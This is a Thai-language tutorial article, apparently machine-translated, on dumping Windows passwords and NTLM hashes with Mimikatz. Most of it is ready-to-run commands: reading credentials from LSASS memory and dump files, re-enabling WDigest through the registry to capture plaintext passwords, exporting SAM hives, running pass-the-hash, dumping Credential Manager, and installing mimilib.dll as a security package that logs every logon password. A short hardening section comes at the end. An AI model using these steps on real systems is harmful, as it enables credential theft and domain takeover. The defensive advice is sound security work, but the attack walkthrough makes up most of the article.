ค้นหาเว็บไซต์

การทิ้งรหัสผ่านของผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz


ในบทความนี้ เขียนโดยเป็นส่วนหนึ่งของชุดข้อมูลด้านความปลอดภัยของ Windows เราจะเรียนรู้วิธีการง่ายๆ ในการรับรหัสผ่านของผู้ใช้ Windows ที่ใช้งานอยู่ทั้งหมดโดยใช้เครื่องมือ Mimikatz

Mimikatz.exe

สามารถแยกรหัสผ่านข้อความล้วนจากหน่วยความจำ Windows, แฮชรหัสผ่าน, ตั๋ว Kerberos ฯลฯ นอกจากนี้ mimikatz ยังให้คุณทำการโจมตีแบบ pass-the-hash, pass-the-ticket หรือสร้างตั๋ว Golden Kerberos ฟังก์ชัน mimikatz ยังมีอยู่ใน Metasploit Framework

คุณสามารถดาวน์โหลด mimikatz ได้จาก GitHub repo: https://github.com/gentilkiwi/mimikatz/releases/ แตกไฟล์ mimikatz_trunk.zip ไปยัง C:\Tools\mimikatz mimikatz สองเวอร์ชันจะปรากฏในไดเร็กทอรีนี้ - สำหรับ x64 และ x86 ใช้เวอร์ชันสำหรับ Windows bitness ของคุณ

ในบทความนี้ เราจะแสดงวิธีรับรหัสผ่านผู้ใช้ใน Windows Server 2016 หรือ Windows 10 โดยใช้ mimikatz

ข้อจำกัดความรับผิดชอบ ข้อมูลและเทคโนโลยีที่อธิบายไว้ในบทความนี้ควรใช้เพื่อจุดประสงค์ในการให้ข้อมูลเท่านั้น และไม่ควรเข้าถึงบัญชี ข้อมูล และระบบของบุคคลที่สาม

แฮ็กรหัสผ่าน Windows ที่แฮชใน LSASS ด้วย Mimikatz

มาลองดัมพ์แฮชรหัสผ่านของผู้ใช้ที่เข้าสู่ระบบทั้งหมดจากหน่วยความจำ Windows (กระบวนการ lsass.exe - Local Security Authority Subsystem Service) บนเซิร์ฟเวอร์ RDS ที่ใช้ Windows Server 2016

เรียกใช้คำสั่งต่อไปนี้ในพรอมต์คำสั่งที่ยกระดับ:

  1. วิ่ง

    Mimikatz.exe

    ในฐานะผู้ดูแลระบบ

  2. คำสั่งต่อไปนี้จะให้สิทธิ์แก่บัญชีปัจจุบันในการดีบักกระบวนการ (SeDebugPrivilege):

    privilege::debug
  3. แสดงรายการเซสชันผู้ใช้ที่ใช้งานอยู่:

     sekurlsa::logonPasswords full
  4. ในกรณีของฉันบนเซิร์ฟเวอร์นอกเหนือจากบัญชีของฉันมีเซสชันที่ใช้งานอยู่ของผู้ใช้สองคน:

    novach

    และ

    administrator
  5. คัดลอกแฮช NTLM (ไฮไลต์ในภาพหน้าจอ)

คุณสามารถใช้ mimikatz ไม่ใช่แบบโต้ตอบ แต่อยู่ในโหมดคำสั่ง หากต้องการรับแฮชรหัสผ่านของผู้ใช้โดยอัตโนมัติและส่งออกเป็นไฟล์ข้อความ ให้ใช้คำสั่ง:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt

ตอนนี้คุณสามารถใช้ออฟไลน์ใดก็ได้ (มีไฟล์

hashcat

เครื่องมือใน Kali Linux) หรือบริการออนไลน์สำหรับถอดรหัสแฮช NTLM ฉันจะใช้บริการ https://crackstation.net/

อย่างที่คุณเห็น บริการพบค่าแฮช NTLM เหล่านี้ได้อย่างรวดเร็ว เราได้รับรหัสผ่านของผู้ใช้ในรูปแบบข้อความที่ชัดเจน

ลองนึกภาพว่านี่คือโฮสต์ RDS ที่มีผู้ใช้พร้อมกันจำนวนมากและเซสชันผู้ดูแลระบบขององค์กร หากคุณมีสิทธิ์ผู้ดูแลระบบภายในบนเซิร์ฟเวอร์นี้ คุณยังสามารถรับรหัสผ่านผู้ดูแลระบบโดเมนได้อีกด้วย

หากคุณใช้รหัสผ่านที่ซับซ้อนสำหรับผู้ใช้ Windows การถอดรหัสรหัสผ่านจะยากขึ้นมาก ดังนั้น ให้เปิดใช้งานความซับซ้อนของรหัสผ่านเสมอผ่าน GPO และตรวจสอบความแข็งแกร่งของรหัสผ่านในโดเมน AD เป็นประจำ

อย่างที่คุณเห็น ขอบคุณ mimikatz ที่เราได้รับแฮช NTLM ของผู้ใช้ที่ใช้งานอยู่ทั้งหมด! คำสั่งสำเร็จเนื่องจากเปิดใช้งานโหมดดีบักบนคอมพิวเตอร์เครื่องนี้ ซึ่งอนุญาตให้คุณตั้งค่าสถานะ SeDebugPrivilege สำหรับกระบวนการที่ต้องการ ในโหมดนี้ โปรแกรมจะสามารถเข้าถึงหน่วยความจำของกระบวนการที่เรียกใช้ในนามของระบบในระดับต่ำ

หมายเหตุ ในเดือนมิถุนายน 2017 บริษัทขนาดใหญ่หลายแห่งในหลายประเทศติดมัลแวร์เรียกค่าไถ่ NotPetya ซึ่งใช้โมดูล mimikatz ในตัวเพื่อรวบรวมรหัสผ่านของผู้ใช้และผู้ดูแลโดเมน

จะรับรหัสผ่านของผู้ใช้จาก Windows Memory Dump ได้อย่างไร

วิธีการรับแฮชรหัสผ่านด้านบนจะไม่ทำงานหากติดตั้งโปรแกรมป้องกันไวรัสที่บล็อกการฉีด ในกรณีนี้ จะต้องสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการ LSASS บนโฮสต์เป้าหมาย คัดลอกไปยังคอมพิวเตอร์ของคุณและแยกแฮชรหัสผ่านโดยใช้ mimikatz

การสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการใน Windows ทำได้ค่อนข้างง่าย เริ่มตัวจัดการงาน ค้นหากระบวนการ lsass.exe คลิกขวาที่กระบวนการแล้วเลือก สร้างไฟล์การถ่ายโอนข้อมูล

Windows จะบันทึกข้อมูลการถ่ายโอนข้อมูลหน่วยความจำไปยังโฟลเดอร์ system32

คุณต้องแยกวิเคราะห์ไฟล์ดัมพ์โดยใช้ mimikatz (คุณสามารถทำงานนี้บนคอมพิวเตอร์เครื่องอื่นได้) โหลดการถ่ายโอนข้อมูลหน่วยความจำลงใน mimikatz:

Mimikatz “sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP”

รับชื่อผู้ใช้และแฮชรหัสผ่านจากดัมพ์:

# sekurlsa::logonPasswords

คุณสามารถรับการถ่ายโอนข้อมูลหน่วยความจำจากคอมพิวเตอร์ระยะไกลโดยใช้ psexec หรือผ่าน WinRM (หากคุณมีสิทธิ์ของผู้ดูแลระบบ) และดึงรหัสผ่านของผู้ใช้ออกมา

คุณยังสามารถใช้

procdump

เครื่องมือจาก Sysinternals เพื่อรับการถ่ายโอนข้อมูล:

procdump -ma lsass.exe lsass.dmp

สามารถรับดัมพ์หน่วยความจำของกระบวนการ LSASS ได้ด้วยฟังก์ชัน Out-Minidump.ps1 ใน PowerShell นำเข้าฟังก์ชัน Out-Minidump ไปยังเซสชัน PoSh และสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการ LSASS:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

แยกรหัสผ่าน Windows จากไฟล์ Hyberfil.sys และ VM Page

นอกจากนี้ยังสามารถแยกรหัสผ่านของผู้ใช้ออกจากไฟล์การถ่ายโอนข้อมูลหน่วยความจำ ไฟล์การไฮเบอร์เนตของระบบ (hiberfil.sys) และ vmem ของไฟล์เครื่องเสมือน (ไฟล์เพจเครื่องเสมือนและสแน็ปช็อต)

ในการทำเช่นนั้น คุณต้องมี เครื่องมือดีบั๊กสำหรับ Windows (WinDbg), mimikatz และ เครื่องมือ เพื่อแปลง .vmem เป็นไฟล์การถ่ายโอนข้อมูลหน่วยความจำ (ใน Hyper-V อาจเป็น vm2dmp.exe หรือ MoonSols Windows Memory toolkit สำหรับ VMWare vmem-files)

ตัวอย่างเช่น หากต้องการแปลงไฟล์เพจ vmem ของเครื่องเสมือน VMWare เป็นดัมพ์ ให้ใช้คำสั่งนี้:

bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp

นำเข้าดัมพ์ไปยัง WinDbg (ไฟล์ -> เปิด Crash Dump) โหลดไลบรารี mimikatz mimilib.dll:

.load mimilib.dll

ค้นหากระบวนการ lsass.exe ในการถ่ายโอนข้อมูล:

!process 0 0 lsass.exe

และสุดท้ายพิมพ์:

.process /r /p fffffa800e0b3b30
!mimikatz

ดังนั้น คุณจะได้รับรายชื่อผู้ใช้ Windows และแฮช NTLM ของรหัสผ่าน หรือแม้แต่รหัสผ่านแบบข้อความธรรมดา

แยกรหัสผ่าน Windows ในข้อความที่ชัดเจนโดยใช้ WDigest

คุณสามารถใช้โปรโตคอล WDigest สำหรับการตรวจสอบสิทธิ์แบบแยกย่อย HTTP ในเวอร์ชัน Windows เดิม ข้อบกพร่องด้านความปลอดภัยหลักของโปรโตคอลนี้คือเก็บรหัสผ่านของผู้ใช้ไว้ในหน่วยความจำในรูปแบบข้อความธรรมดา แทนที่จะเป็นแฮช Mimikatz ให้คุณแยกรหัสผ่านเหล่านี้ออกจากหน่วยความจำของกระบวนการ LSASS.EXE

โปรโตคอล WDigest ถูกปิดใช้งานตามค่าเริ่มต้นใน Windows เวอร์ชันใหม่ทั้งหมด รวมถึง Windows 10 และ Windows Server 2016/2019 แต่ถอดไม่หมด. หากคุณมีสิทธิ์ของผู้ดูแลระบบใน Windows คุณสามารถเปิดใช้งานโปรโตคอล WDiget รอให้ผู้ใช้เข้าสู่ระบบและขโมยรหัสผ่านได้

เปิดใช้งาน Wdigest บน Windows:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

รีเฟรชการตั้งค่านโยบายกลุ่ม:

gpupdate /force

รอให้ผู้ใช้เข้าสู่ระบบและรับรหัสผ่านด้วย mimikatz (ผู้ใช้ต้องลงชื่อเข้าใช้ใหม่บน Windows 10; บน Windows Server 2016 ก็เพียงพอแล้วที่จะปลดล็อกเซสชันหลังจากหน้าจอล็อก):

privilege::debug
sekurlsa::wdigest

อย่างที่คุณเห็น ส่วน wdigest มีรหัสผ่านของผู้ใช้เป็นข้อความธรรมดา:

แยกแฮชรหัสผ่านผู้ใช้ภายในออกจาก SAM

ด้วย mimikatz คุณสามารถแยกแฮชรหัสผ่านของผู้ใช้ Windows ในเครื่อง (รวมถึงบัญชีผู้ดูแลระบบในตัว) จาก SAM:

privilege::debug
token::elevate
lsadump::sam

คุณยังสามารถแยกแฮช NTLM จากกลุ่ม SAM ของรีจิสทรี

  1. ส่งออกกลุ่มรีจิสทรี SYSTEM และ SAM ไปยังไฟล์:

    reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv

  2. จากนั้นใช้ Mimikatz เพื่อทิ้งแฮชรหัสผ่าน:

    privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

ทำการโจมตีแบบ Pass-the-Hash ผ่าน Mimikatz

หากผู้ใช้มีรหัสผ่านที่รัดกุมและคุณไม่สามารถถอดรหัสได้อย่างรวดเร็ว NTLM hash สามารถใช้ Mimikatz เพื่อทำการโจมตีแบบ pass-the-hash (hash reuse) ได้ ในกรณีนี้ แฮชสามารถใช้เพื่อเรียกใช้กระบวนการในนามของผู้ใช้เป้าหมาย ตัวอย่างเช่น หากคุณดัมพ์แฮช NTLM ของรหัสผ่านของผู้ใช้ คำสั่งต่อไปนี้จะเรียกใช้พรอมต์คำสั่งภายใต้บัญชีนั้น:

privilege::debug
sekurlsa::pth /user:Administrator /domain:a-d /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe

นอกจากนี้ คุณสามารถใช้

Invoke-TheHash

เครื่องมือเพื่อใช้ข้อมูลรับรอง NTLM อีกครั้งเพื่อดำเนินการคำสั่งบนผู้เดินทางระยะไกล

การทิ้งรหัสผ่านจาก Windows Credential Manager

ใน Windows คุณสามารถบันทึกรหัสผ่านใน Windows Credential Manager (อาจเป็นรหัสผ่านสำหรับการเข้าถึงคอมพิวเตอร์ระยะไกล เว็บไซต์ ข้อมูลรับรอง RDP ใน

TERMSRV/hostname1

รูปแบบ). Mimikatz สามารถแยกรหัสผ่านเหล่านี้จาก Credential Manager และแสดงให้คุณเห็น:

privilege::debug
sekurlsa::credman

อย่างที่คุณเห็น รหัสผ่านที่บันทึกไว้จะแสดงในส่วน credman

รหัสผ่านการล็อกออนอัตโนมัติของ Windows จะถูกจัดเก็บไว้ในรีจิสทรีในรูปแบบข้อความธรรมดา นอกจากนี้ยังง่ายต่อการแยกรหัสผ่าน Wi-Fi ที่บันทึกไว้

การทิ้งรหัสผ่านเข้าสู่ระบบ Windows ในข้อความที่ชัดเจน

อีกวิธีที่น่าสนใจในการดัมพ์รหัสผ่านใน Windows คือการใช้ผู้ให้บริการ SSP (Security Support Provider) เพิ่มเติมที่ขับเคลื่อนโดย mimikatz

  1. คัดลอกไฟล์ไลบรารี Mimikatz mimilib.dll ไปยังโฟลเดอร์ C:\Windows\System32\;

  2. ลงทะเบียนผู้ให้บริการ SPP เพิ่มเติมด้วยคำสั่ง:

    reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
  3. เมื่อผู้ใช้แต่ละคนเข้าสู่ระบบ Windows รหัสผ่านของพวกเขาจะถูกเขียนลงในไฟล์ kiwissp.log คุณสามารถแสดงรหัสผ่านทั้งหมดโดยใช้ PowerShell:

    Get-Content C:\Windows\System32\kiwissp.log<

    /li>

ปกป้อง Windows จากการโจมตีการทุ่มตลาดข้อมูลประจำตัว

ใน Windows 8.1 และ Windows Server 2012 R2 (และใหม่กว่า) ความสามารถในการขโมยรหัสผ่านจาก LSASS จะถูกจำกัด แฮชและรหัสผ่าน LM ไม่ได้จัดเก็บไว้ในหน่วยความจำใน Windows เวอร์ชันเหล่านี้ตามค่าเริ่มต้น

ฟังก์ชันการทำงานเดียวกันนี้จะถูกส่งกลับไปยัง Windows รุ่นก่อนหน้า (7/8/2008R2/2012) ซึ่งคุณจะต้องติดตั้งการอัปเดตพิเศษ KB2871997 (การอัปเดตมีตัวเลือกอื่นๆ เพื่อเพิ่มความปลอดภัยให้กับระบบ ) และในคีย์รีจิสทรี HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest ให้ตั้งค่าพารามิเตอร์ DWORD UseLogonCredential เป็น 0 (WDigest ถูกปิดใช้งาน) .

หากคุณพยายามแยกรหัสผ่านออกจากหน่วยความจำหลังจากติดตั้งการอัปเดตนี้และคีย์ UseLogonCredential คุณจะเห็นว่า mimikatz ไม่สามารถดัมพ์รหัสผ่านและแฮชโดยใช้คำสั่ง creds_wdigest

ด้านบน เราได้แสดงวิธีที่คุณสามารถตั้งค่าคีย์ reg นี้เป็นค่าที่มีช่องโหว่ได้อย่างง่ายดาย หากคุณมีสิทธิ์ของผู้ดูแลระบบภายในเครื่อง หลังจากนั้น คุณสามารถเข้าถึงรหัสผ่านในหน่วยความจำ LSA ได้อีกครั้ง

ใน mimikatz มีตัวเลือกอื่นสำหรับการรับรหัสผ่านและแฮชจากหน่วยความจำ (WDigest, LM-hash, NTLM-hash, โมดูลสำหรับจับตั๋ว Kerberos) ดังนั้นจึงขอแนะนำให้ใช้มาตรการรักษาความปลอดภัยต่อไปนี้เพื่อป้องกัน:

  • ป้องกันการจัดเก็บรหัสผ่านโดยใช้การเข้ารหัสแบบย้อนกลับได้ (จัดเก็บรหัสผ่านโดยใช้การเข้ารหัสแบบย้อนกลับได้ในส่วนการกำหนดค่าคอมพิวเตอร์ -> การตั้งค่า Windows ->การตั้งค่าความปลอดภัย -> นโยบายบัญชี -> ส่วนนโยบายรหัสผ่าน และตั้งค่าเป็นปิดใช้งาน)

  • ปิดใช้งาน WDigest: ตั้งค่าพารามิเตอร์ Negotiate เป็น 0 ในสาขารีจิสทรีเดียวกัน (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest)

  • ป้องกันการบันทึกรหัสผ่านในตัวจัดการข้อมูลประจำตัว: เปิดใช้งาน การเข้าถึงเครือข่าย: ไม่อนุญาตให้จัดเก็บรหัสผ่านและข้อมูลประจำตัวสำหรับนโยบายการตรวจสอบเครือข่าย ในการกำหนดค่าคอมพิวเตอร์ -> การตั้งค่า Windows ->การตั้งค่าความปลอดภัย ->นโยบายท้องถิ่น ->ตัวเลือกความปลอดภัย ;

  • ปิดการใช้งาน NTLM และ LM;

  • ป้องกันการแคชข้อมูลรับรองผู้ใช้โดเมน (โดยพารามิเตอร์รีจิสทรี CachedLogonsCount หรือตัวเลือกนโยบายกลุ่ม นโยบายการเข้าสู่ระบบแบบโต้ตอบ: จำนวนการเข้าสู่ระบบก่อนหน้าไปยังแคช)

  • หากระดับการทำงานของโดเมนคือ Windows Server 2012 R2 หรือใหม่กว่า คุณสามารถเพิ่มบัญชีผู้ดูแลระบบลงในกลุ่ม Protected Users พิเศษ ในกรณีนี้ แฮช NTLM จะไม่ถูกสร้างขึ้นสำหรับผู้ใช้ดังกล่าว

  • เปิดใช้งานการป้องกันหน่วยความจำกระบวนการ LSA:

    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f

    (การตั้งค่านี้จะอนุญาตให้เฉพาะกระบวนการที่ลงนามโดย Microsoft เพื่อเข้าถึงหน่วยความจำ LSASS คุณสามารถปรับใช้คีย์ reg นี้ในโดเมนผ่าน GPO)

  • ใช้ Credential Guard เพื่อป้องกันเนื้อหา LSA ของกระบวนการ

  • ป้องกันการได้รับสิทธิ์ในการดีบั๊กแม้สำหรับผู้ดูแลระบบในพื้นที่: GPO -> การตั้งค่า Windows -> การตั้งค่าความปลอดภัย -> นโยบายท้องถิ่น -> การกำหนดสิทธิ์ของผู้ใช้ -> โปรแกรมดีบั๊ก (อย่างไรก็ตาม สิ่งนี้สามารถข้ามได้อย่างง่ายดายหากคุณมีสิทธิ์ LocalSystem หรือเช่นนี้)

บทสรุป อีกครั้ง เราขอเตือนคุณเกี่ยวกับแนวคิดด้านความปลอดภัยที่สำคัญบางประการ

  • อย่าใช้รหัสผ่านเดียวกันสำหรับบริการต่างๆ (โดยเฉพาะอย่างยิ่งสำหรับการเข้าถึงโฮสต์ RDP/RDS ที่เป็นของบุคคลที่สาม)

  • คิดถึงความปลอดภัยของรหัสผ่านและข้อมูลที่จัดเก็บไว้ในเครื่องเสมือนในระบบคลาวด์ เพราะคุณไม่สามารถแน่ใจได้ว่ามีใครอีกบ้างที่สามารถเข้าถึงไฮเปอร์ไวเซอร์และพื้นที่เก็บข้อมูลซึ่งเป็นที่ตั้งของไฟล์เครื่องเสมือน

  • ลดจำนวนบัญชีที่มีสิทธิ์ของผู้ดูแลระบบส่วนกลางหรือระดับท้องถิ่น

  • อย่าเข้าสู่ระบบภายใต้บัญชีผู้ดูแลระบบของโดเมนไปยังเซิร์ฟเวอร์และคอมพิวเตอร์ที่ผู้ใช้รายอื่นเข้าถึงได้

บทความที่เกี่ยวข้อง